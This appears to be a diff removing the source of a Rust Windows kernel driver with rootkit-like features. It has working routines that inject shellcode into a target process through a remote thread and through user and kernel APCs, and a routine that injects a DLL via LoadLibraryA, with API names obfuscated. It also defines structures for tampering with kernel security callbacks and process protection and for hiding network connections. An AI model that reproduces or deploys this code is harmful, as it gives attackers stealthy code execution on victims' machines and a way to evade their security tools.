||||||
process::Process,
|
|
||||||
internals::{
|
|
||||||
enums::KAPC_ENVIROMENT::OriginalApcEnvironment,
|
|
||||||
types::{ZwCreateThreadExType, PKNORMAL_ROUTINE},
|
|
||||||
externs::{
|
|
||||||
KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory,
|
|
||||||
ZwProtectVirtualMemory
|
|
||||||
}
|
|
||||||
},
|
|
||||||
utils::{
|
|
||||||
find_thread_alertable, get_module_peb, handles::Handle,
|
|
||||||
patterns::find_zw_function, pool::PoolMemory, read_file,
|
|
||||||
InitializeObjectAttributes
|
|
||||||
}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
mod callbacks;
|
|
||||||
pub mod ioctls;
|
|
||||||
|
|
||||||
/// Represents shellcode injection.
|
|
||||||
pub struct InjectionShellcode;
|
|
||||||
|
|
||||||
impl InjectionShellcode {
|
|
||||||
/// Injection Shellcode in Thread.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `target`: The target process identifier (PID) and the path containing the injection shellcode.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
|
||||||
///
|
|
||||||
pub unsafe fn injection_thread(target: *mut TargetInjection) -> Result<(), NTSTATUS> {
|
|
||||||
let pid = (*target).pid;
|
|
||||||
let path = &(*target).path;
|
|
||||||
|
|
||||||
let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx")).ok_or(STATUS_UNSUCCESSFUL)? as *mut c_void;
|
|
||||||
let target_eprocess = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
|
|
||||||
let mut h_process: HANDLE = null_mut();
|
|
||||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
|
||||||
let mut client_id = CLIENT_ID {
|
|
||||||
UniqueProcess: pid as _,
|
|
||||||
UniqueThread: null_mut(),
|
|
||||||
};
|
|
||||||
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ZwOpenProcess Failed With Status: {status}");
|
|
||||||
return Err(status);
|
|
||||||
}
|
|
||||||
|
|
||||||
let h_process = Handle::new(h_process);
|
|
||||||
|
|
||||||
let shellcode = read_file(path)?;
|
|
||||||
let mut region_size = shellcode.len() as u64;
|
|
||||||
let mut base_address = null_mut();
|
|
||||||
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
|
|
||||||
return Err(status);
|
|
||||||
}
|
|
||||||
|
|
||||||
let mut result_number = 0;
|
|
||||||
MmCopyVirtualMemory(
|
|
||||||
IoGetCurrentProcess(),
|
|
||||||
shellcode.as_ptr() as _,
|
|
||||||
target_eprocess.e_process,
|
|
||||||
base_address,
|
|
||||||
shellcode.len() as u64,
|
|
||||||
KernelMode as i8,
|
|
||||||
&mut result_number,
|
|
||||||
);
|
|
||||||
|
|
||||||
let mut old_protect = 0;
|
|
||||||
status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ZwProtectVirtualMemory Failed With Status: {status}");
|
|
||||||
return Err(status);
|
|
||||||
}
|
|
||||||
|
|
||||||
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
|
|
||||||
let mut h_thread = null_mut();
|
|
||||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
|
||||||
status = ZwCreateThreadEx(
|
|
||||||
&mut h_thread,
|
|
||||||
THREAD_ALL_ACCESS,
|
|
||||||
&mut obj_attr,
|
|
||||||
h_process.get(),
|
|
||||||
transmute(base_address),
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
null_mut()
|
|
||||||
);
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ZwCreateThreadEx Failed With Status: {status}");
|
|
||||||
return Err(status);
|
|
||||||
}
|
|
||||||
|
|
||||||
ZwClose(h_thread);
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Injection Shellcode in APC.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `target`: The target process identifier (PID) and the path containing the injection shellcode.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
|
||||||
///
|
|
||||||
pub unsafe fn injection_apc(target: *mut TargetInjection) -> Result<(), NTSTATUS> {
|
|
||||||
let pid = (*target).pid;
|
|
||||||
let path = &(*target).path;
|
|
||||||
let shellcode = read_file(path)?;
|
|
||||||
let thread_id = find_thread_alertable(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
let target_eprocess = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
|
|
||||||
let mut h_process: HANDLE = null_mut();
|
|
||||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
|
||||||
let mut client_id = CLIENT_ID {
|
|
||||||
UniqueProcess: pid as _,
|
|
||||||
UniqueThread: null_mut(),
|
|
||||||
};
|
|
||||||
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ZwOpenProcess Failed With Status: {status}");
|
|
||||||
return Err(status);
|
|
||||||
}
|
|
||||||
|
|
||||||
let h_process = Handle::new(h_process);
|
|
||||||
let mut base_address = null_mut();
|
|
||||||
let mut region_size = shellcode.len() as u64;
|
|
||||||
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
|
|
||||||
return Err(status);
|
|
||||||
}
|
|
||||||
|
|
||||||
let mut result_number = 0;
|
|
||||||
MmCopyVirtualMemory(
|
|
||||||
IoGetCurrentProcess(),
|
|
||||||
shellcode.as_ptr() as _,
|
|
||||||
target_eprocess.e_process,
|
|
||||||
base_address,
|
|
||||||
shellcode.len() as u64,
|
|
||||||
KernelMode as i8,
|
|
||||||
&mut result_number,
|
|
||||||
);
|
|
||||||
|
|
||||||
let user_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"krts"))
|
|
||||||
.map(|mem| mem.ptr as *mut KAPC)
|
|
||||||
.ok_or_else(|| {
|
|
||||||
log::error!("PoolMemory (User) Failed");
|
|
||||||
STATUS_UNSUCCESSFUL
|
|
||||||
})?;
|
|
||||||
|
|
||||||
let kernel_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"urds"))
|
|
||||||
.map(|mem| mem.ptr as *mut KAPC)
|
|
||||||
.ok_or_else(|| {
|
|
||||||
log::error!("PoolMemory (Kernel) Failed");
|
|
||||||
STATUS_UNSUCCESSFUL
|
|
||||||
})?;
|
|
||||||
|
|
||||||
KeInitializeApc(
|
|
||||||
kernel_apc,
|
|
||||||
thread_id,
|
|
||||||
OriginalApcEnvironment,
|
|
||||||
kernel_apc_callback,
|
|
||||||
None,
|
|
||||||
None,
|
|
||||||
KernelMode as i8,
|
|
||||||
null_mut()
|
|
||||||
);
|
|
||||||
|
|
||||||
KeInitializeApc(
|
|
||||||
user_apc,
|
|
||||||
thread_id,
|
|
||||||
OriginalApcEnvironment,
|
|
||||||
user_apc_callback,
|
|
||||||
None,
|
|
||||||
transmute::<_, PKNORMAL_ROUTINE>(base_address),
|
|
||||||
UserMode as i8,
|
|
||||||
null_mut()
|
|
||||||
);
|
|
||||||
|
|
||||||
if !KeInsertQueueApc(user_apc, null_mut(), null_mut(), 0) {
|
|
||||||
log::error!("KeInsertQueueApc (User) Failed");
|
|
||||||
return Err(STATUS_UNSUCCESSFUL);
|
|
||||||
}
|
|
||||||
|
|
||||||
if !KeInsertQueueApc(kernel_apc, null_mut(), null_mut(), 0) {
|
|
||||||
log::error!("KeInsertQueueApc (Kernel) Failed");
|
|
||||||
return Err(STATUS_UNSUCCESSFUL);
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Represents DLL injection.
|
|
||||||
pub struct InjectionDLL;
|
|
||||||
|
|
||||||
impl InjectionDLL {
|
|
||||||
/// DLL Injection.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `target`: The target process identifier (PID) and the path containing the injection dll.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
|
||||||
///
|
|
||||||
pub unsafe fn injection_dll_thread(target: *mut TargetInjection) -> Result<(), NTSTATUS> {
|
|
||||||
let pid = (*target).pid;
|
|
||||||
let path = (*target).path.as_bytes();
|
|
||||||
let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx")).ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
let function_address = get_module_peb(pid, obfstr!("kernel32.dll"),obfstr!("LoadLibraryA")).ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
let target_eprocess = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
|
|
||||||
let mut h_process: HANDLE = null_mut();
|
|
||||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
|
||||||
let mut client_id = CLIENT_ID {
|
|
||||||
UniqueProcess: pid as _,
|
|
||||||
UniqueThread: null_mut(),
|
|
||||||
};
|
|
||||||
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ZwOpenProcess Failed With Status: {status}");
|
|
||||||
return Err(status);
|
|
||||||
}
|
|
||||||
|
|
||||||
let h_process = Handle::new(h_process);
|
|
||||||
|
|
||||||
let mut base_address = null_mut();
|
|
||||||
let mut region_size = (path.len() * size_of::<u16>()) as u64;
|
|
||||||
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
|
|
||||||
return Err(status);
|
|
||||||
}
|
|
||||||
|
|
||||||
let mut result_number = 0;
|
|
||||||
MmCopyVirtualMemory(
|
|
||||||
IoGetCurrentProcess(),
|
|
||||||
path.as_ptr() as _,
|
|
||||||
target_eprocess.e_process,
|
|
||||||
base_address,
|
|
||||||
(path.len() * size_of::<u16>()) as u64,
|
|
||||||
KernelMode as i8,
|
|
||||||
&mut result_number,
|
|
||||||
);
|
|
||||||
|
|
||||||
let mut old_protect = 0;
|
|
||||||
status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ZwProtectVirtualMemory Failed With Status: {status}");
|
|
||||||
return Err(status);
|
|
||||||
}
|
|
||||||
|
|
||||||
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
|
|
||||||
let mut h_thread = null_mut();
|
|
||||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
|
||||||
status = ZwCreateThreadEx(
|
|
||||||
&mut h_thread,
|
|
||||||
THREAD_ALL_ACCESS,
|
|
||||||
&mut obj_attr,
|
|
||||||
h_process.get(),
|
|
||||||
transmute(function_address),
|
|
||||||
base_address,
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
null_mut()
|
|
||||||
);
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ZwCreateThreadEx Failed With Status: {status}");
|
|
||||||
return Err(status);
|
|
||||||
}
|
|
||||||
|
|
||||||
ZwClose(h_thread);
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,76 +0,0 @@
|
|||||||
use wdk_sys::*;
|
|
||||||
use super::*;
|
|
||||||
|
|
||||||
extern "C" {
|
|
||||||
pub static mut IoDriverObjectType: *mut *mut _OBJECT_TYPE;
|
|
||||||
}
|
|
||||||
|
|
||||||
#[link(name = "ntoskrnl")]
|
|
||||||
extern "system" {
|
|
||||||
pub fn PsGetProcessPeb(ProcessId: PEPROCESS) -> PPEB;
|
|
||||||
|
|
||||||
pub fn PsGetCurrentThread() -> PETHREAD;
|
|
||||||
|
|
||||||
pub fn IoCreateDriver(
|
|
||||||
driver_name: PUNICODE_STRING,
|
|
||||||
driver_initialize: types::DRIVER_INITIALIZE,
|
|
||||||
) -> NTSTATUS;
|
|
||||||
|
|
||||||
pub fn MmCopyVirtualMemory(
|
|
||||||
source_process: PEPROCESS,
|
|
||||||
source_address: PVOID,
|
|
||||||
target_process: PEPROCESS,
|
|
||||||
target_address: PVOID,
|
|
||||||
buffer_size: SIZE_T,
|
|
||||||
previous_mode: KPROCESSOR_MODE,
|
|
||||||
return_size: PSIZE_T,
|
|
||||||
);
|
|
||||||
|
|
||||||
pub fn ObReferenceObjectByName(
|
|
||||||
object_name: PUNICODE_STRING,
|
|
||||||
attributes: u32,
|
|
||||||
access_state: PACCESS_STATE,
|
|
||||||
desired_access: ACCESS_MASK,
|
|
||||||
object_type: POBJECT_TYPE,
|
|
||||||
access_mode: KPROCESSOR_MODE,
|
|
||||||
parse_context: PVOID,
|
|
||||||
object: *mut PVOID,
|
|
||||||
) -> NTSTATUS;
|
|
||||||
|
|
||||||
pub fn KeInitializeApc(
|
|
||||||
apc: PRKAPC,
|
|
||||||
thread: PETHREAD,
|
|
||||||
environment: enums::KAPC_ENVIROMENT,
|
|
||||||
kernel_routine: types::PKKERNEL_ROUTINE,
|
|
||||||
rundown_routine: types::PKRUNDOWN_ROUTINE,
|
|
||||||
normal_routine: types::PKNORMAL_ROUTINE,
|
|
||||||
apc_mode: KPROCESSOR_MODE,
|
|
||||||
normal_context: PVOID
|
|
||||||
);
|
|
||||||
|
|
||||||
pub fn KeTestAlertThread(
|
|
||||||
alert_mode: KPROCESSOR_MODE
|
|
||||||
);
|
|
||||||
|
|
||||||
pub fn KeInsertQueueApc(
|
|
||||||
apc: PRKAPC,
|
|
||||||
system_argument1: PVOID,
|
|
||||||
system_argument2: PVOID,
|
|
||||||
increment: KPRIORITY
|
|
||||||
) -> bool;
|
|
||||||
|
|
||||||
pub fn ZwProtectVirtualMemory(
|
|
||||||
ProcessHandle: HANDLE,
|
|
||||||
BaseAddress: *mut PVOID,
|
|
||||||
RegionSize: PSIZE_T,
|
|
||||||
NewProtect: ULONG,
|
|
||||||
OldProtect: PULONG
|
|
||||||
) -> NTSTATUS;
|
|
||||||
|
|
||||||
pub fn ZwOpenThread(
|
|
||||||
handle: *mut HANDLE,
|
|
||||||
desired_access: ACCESS_MASK,
|
|
||||||
object_attributes: *mut OBJECT_ATTRIBUTES,
|
|
||||||
client_id: *mut CLIENT_ID
|
|
||||||
) -> NTSTATUS;
|
|
||||||
}
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
#![allow(non_camel_case_types)]
|
|
||||||
#![allow(dead_code)]
|
|
||||||
|
|
||||||
use {
|
|
||||||
bitfield::bitfield,
|
|
||||||
winapi::ctypes::c_void,
|
|
||||||
ntapi::ntpsapi::PPS_ATTRIBUTE_LIST,
|
|
||||||
};
|
|
||||||
|
|
||||||
pub mod vad;
|
|
||||||
pub mod structs;
|
|
||||||
pub mod types;
|
|
||||||
pub mod enums;
|
|
||||||
pub mod externs;
|
|
||||||
@@ -1,326 +0,0 @@
|
|||||||
use {
|
|
||||||
super::*,
|
|
||||||
wdk_sys::*,
|
|
||||||
core::mem::ManuallyDrop,
|
|
||||||
crate::internals::enums::COMUNICATION_TYPE,
|
|
||||||
shared::{structs::LIST_ENTRY, enums::Callbacks}
|
|
||||||
};
|
|
||||||
|
|
||||||
pub use vad::*;
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct FULL_OBJECT_TYPE {
|
|
||||||
type_list: LIST_ENTRY,
|
|
||||||
name: UNICODE_STRING,
|
|
||||||
default_object: *mut c_void,
|
|
||||||
index: u8,
|
|
||||||
total_number_of_objects: u32,
|
|
||||||
pub total_number_of_handles: u32,
|
|
||||||
high_water_number_of_objects: u32,
|
|
||||||
high_water_number_of_handles: u32,
|
|
||||||
type_info: [u8; 0x78],
|
|
||||||
pub type_lock: _EX_PUSH_LOCK,
|
|
||||||
key: u32,
|
|
||||||
pub callback_list: LIST_ENTRY,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct OBCALLBACK_ENTRY {
|
|
||||||
pub callback_list: LIST_ENTRY,
|
|
||||||
operations: OB_OPERATION,
|
|
||||||
pub enabled: bool,
|
|
||||||
pub entry: *mut OB_CALLBACK,
|
|
||||||
object_type: POBJECT_TYPE,
|
|
||||||
pub pre_operation: POB_PRE_OPERATION_CALLBACK,
|
|
||||||
pub post_operation: POB_POST_OPERATION_CALLBACK,
|
|
||||||
lock: KSPIN_LOCK
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct OB_CALLBACK {
|
|
||||||
version: u16,
|
|
||||||
operation_registration_count: u16,
|
|
||||||
registration_context: *mut c_void,
|
|
||||||
altitude_string: UNICODE_STRING,
|
|
||||||
entry_items: [OBCALLBACK_ENTRY; 1],
|
|
||||||
altitude_buffer: [u16; 1],
|
|
||||||
}
|
|
||||||
|
|
||||||
pub struct PROCESS_SIGNATURE {
|
|
||||||
pub signature_level: u8,
|
|
||||||
pub section_seginature_level: u8,
|
|
||||||
pub protection: PS_PROTECTION,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
#[derive(Debug, Clone, Copy)]
|
|
||||||
pub struct SystemModule {
|
|
||||||
pub section: *mut c_void,
|
|
||||||
pub mapped_base: *mut c_void,
|
|
||||||
pub image_base: *mut c_void,
|
|
||||||
pub size: u32,
|
|
||||||
pub flags: u32,
|
|
||||||
pub index: u8,
|
|
||||||
pub name_length: u8,
|
|
||||||
pub load_count: u8,
|
|
||||||
pub path_length: u8,
|
|
||||||
pub image_name: [u8; 256],
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
#[derive(Debug, Clone, Copy)]
|
|
||||||
pub struct SystemModuleInformation {
|
|
||||||
pub modules_count: u32,
|
|
||||||
pub modules: [SystemModule; 256],
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
#[derive(Debug, Clone, Copy)]
|
|
||||||
pub struct CM_CALLBACK {
|
|
||||||
pub list: LIST_ENTRY,
|
|
||||||
unknown1: [u64; 2],
|
|
||||||
context: u64,
|
|
||||||
pub function: u64,
|
|
||||||
altitude: UNICODE_STRING,
|
|
||||||
unknown2: [u64; 2],
|
|
||||||
}
|
|
||||||
|
|
||||||
bitfield! {
|
|
||||||
pub struct _EX_PUSH_LOCK(u64);
|
|
||||||
impl Debug;
|
|
||||||
u64;
|
|
||||||
locked, set_locked: 0;
|
|
||||||
waiting, set_waiting: 1;
|
|
||||||
waking, set_waking: 2;
|
|
||||||
multiple_shared, set_multiple_shared: 3;
|
|
||||||
shared, set_shared: 63, 4;
|
|
||||||
}
|
|
||||||
|
|
||||||
bitfield! {
|
|
||||||
pub struct PS_PROTECTION(u8);
|
|
||||||
pub u8, type_, set_type_: 2, 0;
|
|
||||||
pub u8, audit, set_audit: 3;
|
|
||||||
pub u8, signer, set_signer: 7, 4;
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
#[derive(Default)]
|
|
||||||
pub struct CallbackRestaure {
|
|
||||||
pub index: usize,
|
|
||||||
pub callback: Callbacks,
|
|
||||||
pub address: u64,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct CallbackRestaureOb{
|
|
||||||
pub index: usize,
|
|
||||||
pub callback: Callbacks,
|
|
||||||
pub pre_operation: u64,
|
|
||||||
pub post_operation: u64,
|
|
||||||
pub entry: u64,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct MMVAD_SHORT {
|
|
||||||
pub vad_node: RTL_BALANCED_NODE,
|
|
||||||
pub starting_vpn: u32,
|
|
||||||
pub ending_vpn: u32,
|
|
||||||
pub starting_vpn_high: u8,
|
|
||||||
pub ending_vpn_high: u8,
|
|
||||||
pub commit_charge_high: u8,
|
|
||||||
pub spare_nt64_vad_uchar: u8,
|
|
||||||
pub reference_count: i32,
|
|
||||||
pub push_lock: usize,
|
|
||||||
pub u: Uunion,
|
|
||||||
pub u1: U1Union,
|
|
||||||
pub u5: U5Union,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub union Uunion {
|
|
||||||
pub long_flags: u32,
|
|
||||||
pub vad_flags: ManuallyDrop<MMVAD_FLAGS>,
|
|
||||||
pub private_vad_flags: ManuallyDrop<MM_PRIVATE_VAD_FLAGS>,
|
|
||||||
pub graphics_vad_flags: ManuallyDrop<MM_GRAPHICS_VAD_FLAGS>,
|
|
||||||
pub shared_vad_flags: ManuallyDrop<MM_SHARED_VAD_FLAGS>,
|
|
||||||
pub volatile_long: u32,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub union U1Union {
|
|
||||||
pub long_flags1: u32,
|
|
||||||
pub vad_flags1: ManuallyDrop<MMVAD_FLAGS1>,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub union U5Union {
|
|
||||||
pub event_list_ulong_ptr: u64,
|
|
||||||
pub starting_vpn_higher: u8,
|
|
||||||
}
|
|
||||||
|
|
||||||
bitfield! {
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct MM_PRIVATE_VAD_FLAGS(u32);
|
|
||||||
impl Debug;
|
|
||||||
impl Default;
|
|
||||||
u32;
|
|
||||||
pub lock, set_lock: 1;
|
|
||||||
pub lock_contended, set_lock_contended: 1;
|
|
||||||
pub delete_in_progress, set_delete_in_progress: 1;
|
|
||||||
pub no_change, set_no_change: 1;
|
|
||||||
pub vad_type, set_vad_type: 6, 4;
|
|
||||||
pub protection, set_protection: 11, 7;
|
|
||||||
pub preferred_node, set_preferred_node: 18, 12;
|
|
||||||
pub page_size, set_page_size: 19, 20;
|
|
||||||
pub private_memory_always_set, set_private_memory: 21;
|
|
||||||
pub write_watch, set_write: 22;
|
|
||||||
pub fixed_large_page_size, set_page_large: 23;
|
|
||||||
pub zero_fill_pages_optional, set_zero_fill: 24;
|
|
||||||
pub graphics, set_graphics: 25;
|
|
||||||
pub enclave, set_enclave: 26;
|
|
||||||
pub shadow_stack, set_shadow_stack: 27;
|
|
||||||
pub physical_memory_pfns_referenced, set_physical: 28;
|
|
||||||
}
|
|
||||||
|
|
||||||
bitfield! {
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct MM_SHARED_VAD_FLAGS(u32);
|
|
||||||
impl Debug;
|
|
||||||
impl Default;
|
|
||||||
u32;
|
|
||||||
pub lock, set_lock: 1;
|
|
||||||
pub lock_contended, set_lock_contended: 1;
|
|
||||||
pub delete_in_progress, set_delete_in_progress: 1;
|
|
||||||
pub no_change, set_no_change: 1;
|
|
||||||
pub vad_type, set_vad_type: 6, 4;
|
|
||||||
pub protection, set_protection: 11, 7;
|
|
||||||
pub preferred_node, set_preferred_node: 18, 12;
|
|
||||||
pub page_size, set_page_size: 19, 20;
|
|
||||||
pub private_memory_always_set, set_private_memory: 21;
|
|
||||||
pub private_fixup, set_private_fixup: 22;
|
|
||||||
pub hot_patch_state, set_hot_patch_state: 24, 23;
|
|
||||||
}
|
|
||||||
|
|
||||||
bitfield! {
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct MMVAD_FLAGS(u32);
|
|
||||||
impl Debug;
|
|
||||||
u32;
|
|
||||||
pub lock, set_lock: 0;
|
|
||||||
pub lock_contended, set_lock_contended: 1;
|
|
||||||
pub delete_in_progress, set_delete_in_progress: 2;
|
|
||||||
pub no_change, set_no_change: 3;
|
|
||||||
pub vad_type, set_vad_type: 6, 4;
|
|
||||||
pub protection, set_protection: 11, 7;
|
|
||||||
pub preferred_node, set_preferred_node: 18, 12;
|
|
||||||
pub page_size, set_page_size: 19, 20;
|
|
||||||
pub private_memory, set_private_memory: 21;
|
|
||||||
}
|
|
||||||
|
|
||||||
bitfield! {
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct MM_GRAPHICS_VAD_FLAGS(u32);
|
|
||||||
impl Debug;
|
|
||||||
impl Default;
|
|
||||||
u32;
|
|
||||||
pub lock, set_lock: 1;
|
|
||||||
pub lock_contended, set_lock_contended: 1;
|
|
||||||
pub delete_in_progress, set_delete_in_progress: 1;
|
|
||||||
pub no_change, set_no_change: 1;
|
|
||||||
pub vad_type, set_vad_type: 6, 4;
|
|
||||||
pub protection, set_protection: 11, 7;
|
|
||||||
pub preferred_node, set_preferred_node: 18, 12;
|
|
||||||
pub page_size, set_page_size: 19, 20;
|
|
||||||
pub private_memory_always_set, set_private_memory: 21;
|
|
||||||
pub write_watch, set_write: 22;
|
|
||||||
pub fixed_large_page_size, set_page_large: 23;
|
|
||||||
pub zero_fill_pages_optional, set_zero_fill: 24;
|
|
||||||
pub graphics_always_set, set_graphics: 25;
|
|
||||||
pub graphics_use_coherent, set_graphics_use: 26;
|
|
||||||
pub graphics_no_cache, set_graphics_no_cache: 27;
|
|
||||||
pub graphics_page_protection, set_graphics_page_protection: 30, 28;
|
|
||||||
}
|
|
||||||
|
|
||||||
bitfield! {
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct MMVAD_FLAGS1(u32);
|
|
||||||
impl Debug;
|
|
||||||
pub commit_charge, set_commit_charge: 30, 0;
|
|
||||||
pub mem_commit, set_mem_commit: 31;
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct NSI_PARAM {
|
|
||||||
pub reserved1: usize,
|
|
||||||
pub reverved2: usize,
|
|
||||||
pub module_id: *mut core::ffi::c_void,
|
|
||||||
pub type_: COMUNICATION_TYPE,
|
|
||||||
pub reserved3: u32,
|
|
||||||
pub reserved4: u32,
|
|
||||||
pub entries: *mut core::ffi::c_void,
|
|
||||||
pub entry_size: usize,
|
|
||||||
pub reserved5: *mut core::ffi::c_void,
|
|
||||||
pub reserved6: usize,
|
|
||||||
pub status_entries: *mut NSI_STATUS_ENTRY,
|
|
||||||
pub reserved7: usize,
|
|
||||||
pub process_entries: *mut NSI_PROCESS_ENTRY,
|
|
||||||
pub process_entry_size: usize,
|
|
||||||
pub count: usize
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct NSI_STATUS_ENTRY {
|
|
||||||
pub state: u32,
|
|
||||||
pub reserved: [u8; 8]
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct NSI_PROCESS_ENTRY {
|
|
||||||
pub udp_process_id: u32,
|
|
||||||
pub reserved1: u32,
|
|
||||||
pub reserved2: u32,
|
|
||||||
pub tcp_process_id: u32,
|
|
||||||
pub reserved3: u32,
|
|
||||||
pub reserved4: u32,
|
|
||||||
pub reserved5: u32,
|
|
||||||
pub reserved6: u32
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
#[derive(Debug)]
|
|
||||||
pub struct NSI_TCP_ENTRY {
|
|
||||||
pub reserved1: [u8; 2],
|
|
||||||
pub port: u16,
|
|
||||||
pub ip_address: u32,
|
|
||||||
pub ip_address6: [u8; 16],
|
|
||||||
pub reserved2: [u8; 4]
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
#[derive(Debug)]
|
|
||||||
pub struct NSI_TABLE_TCP_ENTRY {
|
|
||||||
pub local: NSI_TCP_ENTRY,
|
|
||||||
pub remote: NSI_TCP_ENTRY
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct NSI_UDP_ENTRY {
|
|
||||||
pub reserved1: [u8; 2],
|
|
||||||
pub port: u16,
|
|
||||||
pub ip_address: u32,
|
|
||||||
pub ip_address6: [u8; 16],
|
|
||||||
pub reserved2: [u8; 4]
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct TRACE_ENABLE_INFO {
|
|
||||||
pub is_enabled: u32,
|
|
||||||
pub level: u8,
|
|
||||||
pub reserved1: u8,
|
|
||||||
pub loggerid: u16,
|
|
||||||
pub enable_property: u32,
|
|
||||||
pub reserved2: u32,
|
|
||||||
pub match_any_keyword: u64,
|
|
||||||
pub match_all_keyword: u64
|
|
||||||
}
|
|
||||||
|
|
||||||
@@ -1,88 +0,0 @@
|
|||||||
use {
|
|
||||||
bitfield::bitfield,
|
|
||||||
